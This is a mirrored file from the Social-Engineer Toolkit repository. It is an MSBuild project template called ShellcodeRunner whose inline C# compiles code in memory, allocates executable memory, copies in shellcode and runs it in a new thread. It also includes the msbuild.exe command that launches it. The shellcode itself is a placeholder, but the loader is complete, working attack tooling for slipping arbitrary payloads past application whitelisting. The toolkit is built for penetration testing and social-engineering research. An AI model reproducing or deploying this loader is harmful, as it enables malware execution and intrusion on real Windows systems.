mirror of
https://github.com/trustedsec/social-engineer-toolkit
synced 2024-11-26 06:20:19 +00:00
bb02d42c6a
Updated filename
158 lines
3.2 KiB
XML
158 lines
3.2 KiB
XML
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
<!-- This inline task executes c# code. -->
|
|
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe ShellcodeRunner.xml -->
|
|
<Target Name="Hello">
|
|
<FragmentExample />
|
|
<ClassExample />
|
|
</Target>
|
|
<UsingTask
|
|
TaskName="FragmentExample"
|
|
TaskFactory="CodeTaskFactory"
|
|
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
|
|
<ParameterGroup/>
|
|
<Task>
|
|
<Using Namespace="System" />
|
|
<Code Type="Fragment" Language="cs">
|
|
<![CDATA[
|
|
Console.WriteLine("Dermtrodes connected");
|
|
]]>
|
|
</Code>
|
|
</Task>
|
|
</UsingTask>
|
|
<UsingTask
|
|
TaskName="ClassExample"
|
|
TaskFactory="CodeTaskFactory"
|
|
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
|
|
<Task>
|
|
<Using Namespace="System" />
|
|
<Using Namespace="System.Reflection" />
|
|
<Using Namespace="System.Diagnostics" />
|
|
<Code Type="Class" Language="cs">
|
|
|
|
|
|
<![CDATA[
|
|
|
|
using System;
|
|
using System.Reflection;
|
|
using Microsoft.CSharp;
|
|
using Microsoft.Build.Framework;
|
|
using Microsoft.Build.Utilities;
|
|
|
|
|
|
public class ClassExample : Task, ITask
|
|
{
|
|
public override bool Execute()
|
|
{
|
|
string source = @"
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.Reflection;
|
|
using System.Runtime.InteropServices;
|
|
|
|
namespace HelloWorld
|
|
{
|
|
|
|
class HelloWorldClass
|
|
{
|
|
public static void Main()
|
|
{
|
|
Console.WriteLine(""Jacking Deck"");
|
|
Shellcode.Exec();
|
|
}
|
|
}
|
|
|
|
public class Shellcode
|
|
{
|
|
public static void Exec()
|
|
{
|
|
|
|
-----shellcode-----
|
|
|
|
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
|
|
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
|
|
IntPtr hThread = IntPtr.Zero;
|
|
UInt32 threadId = 0;
|
|
|
|
|
|
|
|
IntPtr pinfo = IntPtr.Zero;
|
|
|
|
|
|
|
|
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
|
|
WaitForSingleObject(hThread, 0xFFFFFFFF);
|
|
|
|
}
|
|
|
|
private static UInt32 MEM_COMMIT = 0x1000;
|
|
|
|
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
|
|
|
|
[DllImport(""kernel32"")]
|
|
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
|
|
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
|
|
|
|
[DllImport(""kernel32"")]
|
|
private static extern IntPtr CreateThread(
|
|
|
|
UInt32 lpThreadAttributes,
|
|
UInt32 dwStackSize,
|
|
UInt32 lpStartAddress,
|
|
IntPtr param,
|
|
UInt32 dwCreationFlags,
|
|
ref UInt32 lpThreadId
|
|
|
|
);
|
|
|
|
|
|
[DllImport(""kernel32"")]
|
|
private static extern UInt32 WaitForSingleObject(
|
|
|
|
IntPtr hHandle,
|
|
UInt32 dwMilliseconds
|
|
);
|
|
|
|
}
|
|
}
|
|
";
|
|
|
|
Assembly a = Builder.Build(source);
|
|
|
|
Type hw = a.GetType("HelloWorld.HelloWorldClass");
|
|
MethodInfo main = hw.GetMethod("Main");
|
|
main.Invoke(null, null);
|
|
return true;
|
|
|
|
}
|
|
}
|
|
public class Builder
|
|
{
|
|
|
|
public static Assembly Build(string SourceString)
|
|
{
|
|
CSharpCodeProvider codeProvider = new CSharpCodeProvider();
|
|
|
|
|
|
System.CodeDom.Compiler.CompilerParameters parameters = new System.CodeDom.Compiler.CompilerParameters();
|
|
parameters.GenerateInMemory = true;
|
|
parameters.CompilerOptions = @"/unsafe";
|
|
System.CodeDom.Compiler.CompilerResults results = codeProvider.CompileAssemblyFromSource(parameters,SourceString);
|
|
|
|
Assembly a = results.CompiledAssembly;
|
|
if(a != null) return a;
|
|
else
|
|
{
|
|
Assembly nullAssembly = Assembly.GetExecutingAssembly();
|
|
Console.WriteLine("Null Assembly");
|
|
return nullAssembly;
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
]]>
|
|
</Code>
|
|
</Task>
|
|
</UsingTask>
|
|
</Project>
|